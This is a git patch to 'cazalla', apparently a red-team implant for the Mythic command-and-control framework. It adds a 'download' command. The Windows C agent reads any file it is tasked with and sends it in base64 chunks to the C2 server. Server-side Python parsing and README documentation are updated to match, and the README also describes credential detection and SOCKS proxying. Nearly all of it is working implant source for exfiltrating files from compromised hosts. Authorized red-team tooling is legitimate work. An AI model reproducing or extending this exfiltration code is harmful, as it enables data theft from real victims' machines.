From c1aa65380b589bb46a127aa24af5f53ae20f67b3 Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Wed, 29 Oct 2025 16:51:24 +0100 Subject: [PATCH] Download created --- .../agent_code/cazalla/SistemadeFicheros.c | 255 +++++++++++++++++- .../agent_code/cazalla/SistemadeFicheros.h | 2 + .../cazalla/agent_code/cazalla/comandos.c | 2 + .../cazalla/agent_code/cazalla/comandos.h | 1 + .../cazalla/agent_code/cazalla/paquete.c | 60 +++++ .../cazalla/agent_code/cazalla/paquete.h | 7 + .../cazalla/agent_functions/download.py | 45 ++++ .../cazalla/translator/commands_from_c2.py | 13 + .../translator/commands_from_implant.py | 143 +++++++++- README.md | 101 ++++++- 10 files changed, 621 insertions(+), 8 deletions(-) create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/download.py diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c index c3342d1..08720f2 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c @@ -1,5 +1,6 @@ #include "SistemadeFicheros.h" #include "paquete.h" +#include "transporte.h" /* Forward decl to avoid implicit declaration on some toolchains */ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); @@ -435,8 +436,8 @@ VOID EliminarRuta(PAnalizador argumentos){ addString(respuestaTarea, tareaUuid, FALSE); addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); - // Add File Write artifact for the deleted file/directory - addArtifact(respuestaTarea, "File Write", ruta); + // Add File Delete artifact for the deleted file/directory + addArtifact(respuestaTarea, "File Delete", ruta); mandarPaquete(respuestaTarea); liberarPaquete(salida); @@ -948,6 +949,256 @@ VOID LeerFichero(PAnalizador argumentos) { LocalFree(contenidoArchivo); +end: + LocalFree(rutaFichero); +} + +// Helper function to extract file_id from response +// Format: Binary response with file_id marker 0xFB followed by [file_id_len:4][file_id] +static PCHAR extractFileIdFromResponse(PAnalizador respuesta) { + if (!respuesta || respuesta->tamano < 5) { + return NULL; + } + + // Look for file_id marker 0xFB + PBYTE buffer = respuesta->buffer; + SIZE_T len = respuesta->tamano; + + for (SIZE_T i = 0; i < len - 5; i++) { + if (buffer[i] == 0xFB) { + // Found marker, extract file_id + i++; // Skip marker + if (i + 4 > len) break; + + UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) { + break; + } + + PCHAR file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1); + if (!file_id) { + return NULL; + } + + memcpy(file_id, buffer + i, file_id_len); + file_id[file_id_len] = '\0'; + return file_id; + } + } + + return NULL; +} + +VOID DescargarFichero(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + _dbg("[download] tenemos %d argumentos", nbArg); + if (nbArg == 0) { + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: No se especificó archivo\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + SIZE_T tamano = 0; + PCHAR rutaFichero = getString(argumentos, &tamano); + + _dbg("[download] Archivo a descargar: \"%s\"", rutaFichero); + + // Abrir archivo para lectura + HANDLE hFile = CreateFileA( + rutaFichero, + GENERIC_READ, + FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + if (hFile == INVALID_HANDLE_VALUE) { + DWORD error = GetLastError(); + _err("[download] No se ha podido abrir el archivo. Código: %lu\n", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: No se pudo abrir el archivo. Código: %lu\n", error); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + goto end; + } + + // Obtener tamaño del archivo + DWORD fileSizeHigh = 0; + DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh); + + // Limitar a archivos < 2GB para simplificar + if (fileSizeHigh > 0) { + _err("[download] Archivo demasiado grande (>2GB)\n"); + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[download] Error: Archivo demasiado grande (>2GB)\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + CloseHandle(hFile); + goto end; + } + + DWORD fileSize = fileSizeLow; + + if (fileSize == 0) { + _dbg("[download] Archivo vacío\n"); + CloseHandle(hFile); + PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaFinal, tareaUuid, FALSE); + PPaquete salidaFinal = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaFinal, FALSE, "[download] Archivo vacío: %s\n", rutaFichero); + addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE); + addArtifact(respuestaFinal, "File Read", rutaFichero); + mandarPaquete(respuestaFinal); + liberarPaquete(salidaFinal); + liberarPaquete(respuestaFinal); + goto end; + } + + // Obtener full path del archivo + char fullPath[MAX_PATH]; + DWORD pathLen = GetFullPathNameA(rutaFichero, MAX_PATH, fullPath, NULL); + if (pathLen == 0 || pathLen >= MAX_PATH) { + // Si falla, usar la ruta original + strncpy(fullPath, rutaFichero, MAX_PATH - 1); + fullPath[MAX_PATH - 1] = '\0'; + } + + // Calcular chunk size (512KB por defecto) + const DWORD CHUNK_SIZE = 512 * 1024; + DWORD totalChunks = (fileSize + CHUNK_SIZE - 1) / CHUNK_SIZE; + + _dbg("[download] Archivo: %lu bytes, %lu chunks de %lu bytes cada uno", + fileSize, totalChunks, CHUNK_SIZE); + + // Paso 1: Enviar mensaje de registro + PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(registroRespuesta, tareaUuid, FALSE); + + // Agregar mensaje de output simple + PPaquete salidaRegistro = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaRegistro, FALSE, "[download] Registrando descarga: %s (%lu bytes, %lu chunks)\n", + fullPath, fileSize, totalChunks); + addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE); + + // Agregar download registration + addDownloadRegistration(registroRespuesta, fullPath, totalChunks, CHUNK_SIZE); + + // Enviar registro y recibir respuesta con file_id + PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta); + liberarPaquete(salidaRegistro); + liberarPaquete(registroRespuesta); + + if (!respuestaRegistro) { + _err("[download] Error: No se recibió respuesta del registro\n"); + CloseHandle(hFile); + goto end; + } + + // Extraer file_id de la respuesta + PCHAR file_id = extractFileIdFromResponse(respuestaRegistro); + liberarAnalizador(respuestaRegistro); + + if (!file_id) { + _err("[download] Error: No se pudo extraer file_id de la respuesta\n"); + CloseHandle(hFile); + goto end; + } + + _dbg("[download] File ID recibido: %s\n", file_id); + + // Paso 2: Leer y enviar chunks + PBYTE chunkBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE); + if (!chunkBuffer) { + _err("[download] Error: No se pudo asignar memoria para chunk buffer\n"); + LocalFree(file_id); + CloseHandle(hFile); + goto end; + } + + DWORD chunkNum = 1; + DWORD totalBytesRead = 0; + + while (totalBytesRead < fileSize) { + DWORD bytesToRead = (fileSize - totalBytesRead > CHUNK_SIZE) ? CHUNK_SIZE : (fileSize - totalBytesRead); + DWORD bytesRead = 0; + + if (!ReadFile(hFile, chunkBuffer, bytesToRead, &bytesRead, NULL)) { + DWORD error = GetLastError(); + _err("[download] Error leyendo chunk %lu. Código: %lu\n", chunkNum, error); + break; + } + + if (bytesRead == 0) { + break; + } + + _dbg("[download] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, bytesRead); + + // Crear paquete para este chunk + PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(chunkRespuesta, tareaUuid, FALSE); + + // NO agregar output de texto para chunks - solo el chunk marker + // Agregar un output vacío (tamaño 0) + addInt32(chunkRespuesta, 0); + + // Agregar download chunk + addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, bytesRead); + + // Enviar chunk + PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta); + liberarPaquete(chunkRespuesta); + + if (respuestaChunk) { + liberarAnalizador(respuestaChunk); + } + + totalBytesRead += bytesRead; + chunkNum++; + } + + CloseHandle(hFile); + LocalFree(chunkBuffer); + LocalFree(file_id); + + // Enviar mensaje final con output y artifact + PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaFinal, tareaUuid, FALSE); + + PPaquete salidaFinal = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaFinal, FALSE, "[download] Descarga completada: %s (%lu bytes)\n", + fullPath, totalBytesRead); + addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE); + + // Agregar artifact File Read (indica que se leyó/accedió al archivo para descargar) + addArtifact(respuestaFinal, "File Read", fullPath); + + mandarPaquete(respuestaFinal); + liberarPaquete(salidaFinal); + liberarPaquete(respuestaFinal); + end: LocalFree(rutaFichero); } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h index 38cab13..c8f2daa 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h @@ -19,4 +19,6 @@ VOID EliminarRuta(PAnalizador argumentos); VOID LeerFichero(PAnalizador argumentos); +VOID DescargarFichero(PAnalizador argumentos); + #endif //FILESYSTEM_H \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index b18f5e5..3444b72 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -62,6 +62,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { EliminarRuta(analizadorTarea); } else if (tarea == CAT_CMD) { LeerFichero(analizadorTarea); + } else if (tarea == DOWNLOAD_CMD) { + DescargarFichero(analizadorTarea); } else if (tarea == START_SOCKS_CMD) { DBG_PRINTF("Received START_SOCKS_CMD"); startSocksHandler(analizadorTarea); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index d6b1093..a8672a2 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -29,6 +29,7 @@ #define MKDIR_CMD 0x24 #define RM_CMD 0x25 #define CAT_CMD 0x26 +#define DOWNLOAD_CMD 0x27 /* New SOCKS control commands (agent-side) */ #define START_SOCKS_CMD 0x60 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index 1b4fc48..1eea7cb 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -696,4 +696,64 @@ VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR c SIZE_T account_len = strlen(account); addInt32(paquete, (UINT32)account_len); addString(paquete, account, FALSE); +} + +/* Download registration: adds download registration marker and data to response package */ +/* Format: [0xFD marker][action:1=0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */ +VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size) { + if (!paquete || !full_path) { + return; + } + + // Download registration marker (0xFD) + addByte(paquete, 0xFD); + + // Action: 0 = registration + addByte(paquete, 0); + + // Full path length and value + SIZE_T path_len = strlen(full_path); + addInt32(paquete, (UINT32)path_len); + addString(paquete, full_path, FALSE); + + // Total chunks (can be -1 if unknown) + addInt32(paquete, total_chunks); + + // Chunk size + addInt32(paquete, chunk_size); +} + +/* Download chunk: adds download chunk marker and data to response package */ +/* Format: [0xFC marker][action:1=1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */ +VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len) { + if (!paquete || !file_id || !chunk_data || chunk_data_len == 0) { + return; + } + + // Download chunk marker (0xFC) + addByte(paquete, 0xFC); + + // Action: 1 = chunk + addByte(paquete, 1); + + // File ID length and value + SIZE_T file_id_len = strlen(file_id); + addInt32(paquete, (UINT32)file_id_len); + addString(paquete, file_id, FALSE); + + // Chunk number (1-based) + addInt32(paquete, chunk_num); + + // Encode chunk data to base64 + char* chunk_data_b64 = b64Codificado(chunk_data, chunk_data_len); + if (!chunk_data_b64) { + _err("[download] Error encoding chunk data to base64\n"); + return; + } + + SIZE_T chunk_b64_len = strlen(chunk_data_b64); + addInt32(paquete, (UINT32)chunk_b64_len); + addString(paquete, chunk_data_b64, FALSE); + + LocalFree(chunk_data_b64); } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h index 4136003..7f82cfa 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -40,4 +40,11 @@ VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value); /* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */ VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account); +/* Download helpers: for file download from agent to Mythic */ +/* Format for download registration: [0xFD marker][action:1][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */ +/* Format for download chunk: [0xFC marker][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */ +/* action: 0 = registration, 1 = chunk */ +VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size); +VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/download.py b/Payload_Type/cazalla/cazalla/agent_functions/download.py new file mode 100644 index 0000000..ffcf8d7 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/download.py @@ -0,0 +1,45 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class DownloadArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="file", + type=ParameterType.String, + description="Path to the file to download from the target", + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply a path to download") + self.add_arg("file", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "file" in dictionary_arguments: + self.add_arg("file", dictionary_arguments["file"]) + + +class DownloadCommand(CommandBase): + cmd = "download" + needs_admin = False + help_cmd = "download " + description = "Download a file from the target to the Mythic server" + version = 1 + author = "@KaseyaOFSTeam" + argument_class = DownloadArguments + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index c195fee..0a09e5b 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -15,6 +15,7 @@ commands = { "mkdir": {"hex_code": 0x24, "input_type": "string"}, "rm": {"hex_code": 0x25, "input_type": "string"}, "cat": {"hex_code": 0x26, "input_type": "string"}, + "download": {"hex_code": 0x27, "input_type": "string"}, # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, @@ -121,4 +122,16 @@ def responsePosting(responses): data += b"\x01" else: data += b"\x00" + + # Check if this response has a file_id (from download registration) + # When Mythic responds to a download registration, it includes file_id + if "file_id" in response: + file_id = response["file_id"] + file_id_bytes = file_id.encode('utf-8') + # Format: [0xFB marker][file_id_len:4][file_id] + data += bytes([0xFB]) # File ID marker + data += len(file_id_bytes).to_bytes(4, "big") + data += file_id_bytes + print(f"[DOWNLOAD] File ID agregado a respuesta binaria: {file_id}") + return data diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index f7e17d8..3524999 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -174,15 +174,21 @@ def postResponse(data): uuidTask = data[:36] data = data[36:] + # Extract output, but handle case where output might be empty (e.g., download chunks) output, data = getBytesWithSize(data) print(f"Tamaño después de extraer UUID: {len(data)} bytes") + print(f"Tamaño del output extraído: {len(output)} bytes") - # Parse artifacts and credentials: + # Parse artifacts, credentials, and downloads # Artifacts format: [0xFF][type_len:4][type][value_len:4][value] # Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] + # Download registration: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] + # Download chunk: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] artifacts_data = [] credentials_data = [] + download_registration = None + download_chunk = None remaining_data = data while len(remaining_data) >= 5: # At least: marker (1) + type_len (4) @@ -301,11 +307,120 @@ def postResponse(data): print(f"[CREDENTIALS] Detectado credential: {credential_type} para {account}@{realm if realm else '(local)'}") # Continue parsing for multiple credentials + remaining_data = remaining_data[offset:] + except: + break + elif remaining_data[0] == 0xFD: + # Download registration marker found + # Format: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] + offset = 1 + + # Skip action byte (should be 0 for registration) + if len(remaining_data) < offset + 1: + break + action = remaining_data[offset] + offset += 1 + + if action != 0: + break # Not a registration message + + # Extract full_path + if len(remaining_data) < offset + 4: + break + path_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if path_len == 0 or len(remaining_data) < offset + path_len: + break + + try: + full_path = remaining_data[offset:offset+path_len].decode('cp850') + offset += path_len + except: + break + + # Extract total_chunks + if len(remaining_data) < offset + 4: + break + total_chunks = int.from_bytes(remaining_data[offset:offset+4], 'big', signed=True) + offset += 4 + + # Extract chunk_size + if len(remaining_data) < offset + 4: + break + chunk_size = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + # Store download registration info + download_registration = { + "full_path": full_path, + "total_chunks": total_chunks, + "chunk_size": chunk_size + } + print(f"[DOWNLOAD] Registro detectado: path={full_path}, chunks={total_chunks}, chunk_size={chunk_size}") + + remaining_data = remaining_data[offset:] + elif remaining_data[0] == 0xFC: + # Download chunk marker found + # Format: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] + offset = 1 + + # Skip action byte (should be 1 for chunk) + if len(remaining_data) < offset + 1: + break + action = remaining_data[offset] + offset += 1 + + if action != 1: + break # Not a chunk message + + # Extract file_id + if len(remaining_data) < offset + 4: + break + file_id_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if file_id_len == 0 or len(remaining_data) < offset + file_id_len: + break + + try: + file_id = remaining_data[offset:offset+file_id_len].decode('cp850') + offset += file_id_len + except: + break + + # Extract chunk_num + if len(remaining_data) < offset + 4: + break + chunk_num = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + # Extract chunk_data (base64) + if len(remaining_data) < offset + 4: + break + chunk_data_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if chunk_data_len == 0 or len(remaining_data) < offset + chunk_data_len: + break + + try: + chunk_data_b64 = remaining_data[offset:offset+chunk_data_len].decode('cp850') + offset += chunk_data_len + + # Store chunk info + download_chunk = { + "file_id": file_id, + "chunk_num": chunk_num, + "chunk_data": chunk_data_b64 + } + print(f"[DOWNLOAD] Chunk detectado: file_id={file_id}, chunk_num={chunk_num}, data_len={chunk_data_len}") + remaining_data = remaining_data[offset:] except: break else: - # No more artifacts or credentials + # No more markers break try: @@ -352,8 +467,10 @@ def postResponse(data): "completed": True, } - # Siempre incluir user_output para que se vea en la consola - jsonTask["user_output"] = decoded_output + # Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks + # (los chunks de download no necesitan user_output) + if not download_chunk or decoded_output.strip(): + jsonTask["user_output"] = decoded_output # Si detectamos una lista de procesos, también incluir el formato para Process Browser if is_process_list and len(processes) > 0: @@ -393,6 +510,24 @@ def postResponse(data): if len(credentials) > 0: jsonTask["credentials"] = credentials print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}") + + # Add download information if present + if download_registration: + jsonTask["download"] = download_registration + print(f"[DOWNLOAD] Download registration agregado al JSON: {json.dumps(download_registration)}") + + if download_chunk: + # For download chunks, we ONLY send the download info, no user_output + # Remove user_output if it was added + if "user_output" in jsonTask: + jsonTask.pop("user_output", None) + + jsonTask["download"] = { + "chunk_num": download_chunk["chunk_num"], + "file_id": download_chunk["file_id"], + "chunk_data": download_chunk["chunk_data"] + } + print(f"[DOWNLOAD] Download chunk agregado al JSON: chunk_num={download_chunk['chunk_num']}, file_id={download_chunk['file_id']}, data_len={len(download_chunk['chunk_data'])}") resTaks.append(jsonTask) diff --git a/README.md b/README.md index 2f37351..334c4af 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,7 @@ - [Process Browser Integration](#process-browser-integration) - [Artifacts Support](#artifacts-support) - [Credentials Support](#credentials-support) +- [File Downloads Support](#file-downloads-support) - [Development](#development) - [Troubleshooting](#troubleshooting) - [Credits](#credits) @@ -181,6 +182,7 @@ For more information, see the [Mythic documentation on customizing public agents | `mkdir` | Create directory | `mkdir C:\temp\new_folder` | | `rm` | Delete file or directory | `rm C:\temp\file.txt` | | `cat` | Read file contents (with automatic credential detection) | `cat C:\path\to\file.txt` | +| `download` | Download file from target to Mythic server | `download C:\path\to\file.txt` | ### Execution & Control @@ -559,15 +561,18 @@ Currently supported: - **File Write**: Automatically reported for: - `cp` (copy) - reports destination file path - `mkdir` (create directory) - reports created directory path +- **File Delete**: Automatically reported for: - `rm` (delete) - reports deleted file/directory path +- **File Read**: Automatically reported for: + - `download` - reports file path when downloading files **Note**: The following commands don't require artifacts as they are read-only or don't modify system state: - `ls`, `cd`, `pwd` - read-only file system operations - `ps` - already integrated with Process Browser - `sleep`, `exit` - don't modify system state +- `cat` - read-only file operation (doesn't create artifacts, but may report credentials) Future support can be added for: -- **File Read**: When files are downloaded/read (e.g., `download` command) - **File Write**: For file upload operations (e.g., `upload` command) - **Network Connection**: When network operations occur (e.g., for `socks` proxy connections) - **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`) @@ -605,7 +610,8 @@ Example implementations: - `shell`: Process Create artifact with command - `cp`: File Write artifact with destination path - `mkdir`: File Write artifact with directory path -- `rm`: File Write artifact with deleted path +- `rm`: File Delete artifact with deleted path +- `download`: File Read artifact with downloaded file path ### Best Practices for New Commands @@ -785,6 +791,97 @@ For more information, see the [Mythic Credentials documentation](https://docs.my --- +## 📥 File Downloads Support + +Cazalla supports downloading files from the target to the Mythic server using chunked transfers, following [Mythic's File Downloads specification](https://docs.mythic-c2.net/customizing/hooking-features/download). + +### Features + +- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer +- **Automatic Registration**: Files are automatically registered with Mythic before transfer +- **Progress Tracking**: Mythic tracks download progress (chunks received/total chunks) +- **File Read Artifacts**: Automatically reports File Read artifacts when files are downloaded +- **Full Path Tracking**: Reports full file paths for proper tracking in Mythic's file browser + +### How It Works + +1. **Command Execution**: When you execute `download C:\path\to\file.txt`, the agent: + - Opens the file for reading + - Calculates file size and number of chunks needed + - Sends a registration message to Mythic with file metadata (`total_chunks`, `full_path`, `chunk_size`) + - Receives a `file_id` from Mythic + - Reads and sends file data in chunks (base64-encoded) + - Reports a File Read artifact when complete + +2. **Mythic Integration**: The download is automatically: + - Registered in Mythic's file browser + - Tracked with progress (chunks received/total) + - Available for download from the Mythic UI once all chunks are received + +### Using the Download Command + +```bash +# Download a file from the target +download C:\Users\localuser\Downloads\file.txt + +# Downloads are chunked automatically - Mythic will show progress: +# "0 / 5 Chunks Received" → "5 / 5 Chunks Received" (complete) +``` + +### Download Process + +1. **Registration**: Agent sends file metadata to Mythic + - `full_path`: Full path to the file + - `total_chunks`: Number of chunks needed + - `chunk_size`: Size of each chunk (512KB default) + +2. **File ID**: Mythic responds with a unique `file_id` for this download + +3. **Chunk Transfer**: Agent sends each chunk sequentially: + - Chunk number (1-based) + - `file_id` to associate with registration + - Base64-encoded chunk data + +4. **Completion**: Once all chunks are received, the file appears in Mythic's file browser + +### Example Download Flow + +``` +Agent: [download] Registrando descarga: C:\Users\file.txt (1024000 bytes, 2 chunks) +Mythic: Response with file_id: "uuid-here" +Agent: [download] Enviando chunk 1/2 (512000 bytes) +Agent: [download] Enviando chunk 2/2 (512000 bytes) +Agent: [download] Descarga completada: C:\Users\file.txt (1024000 bytes) +Mythic: File available in file browser +``` + +### Implementation Details + +The download system uses: +- **Chunk Size**: 512KB per chunk (configurable in code) +- **File Size Limit**: Supports files up to 2GB (can be extended) +- **Base64 Encoding**: Chunk data is base64-encoded before transmission +- **Artifact Reporting**: Automatically reports "File Read" artifact with file path + +### Error Handling + +The download command handles various error scenarios: +- **File Not Found**: Returns error message if file cannot be opened +- **File Too Large**: Returns error if file exceeds 2GB limit +- **Empty Files**: Properly handles empty files (0 bytes) +- **Access Denied**: Returns Windows error code if access is denied + +### Viewing Downloaded Files + +1. Navigate to your callback in the Mythic UI +2. Click the **Files** icon (file browser) in the top navigation +3. View all downloaded files with their metadata +4. Download files to your local system + +For more information, see the [Mythic File Downloads documentation](https://docs.mythic-c2.net/customizing/hooking-features/download). + +--- + ## 🔧 Development ### Project Structure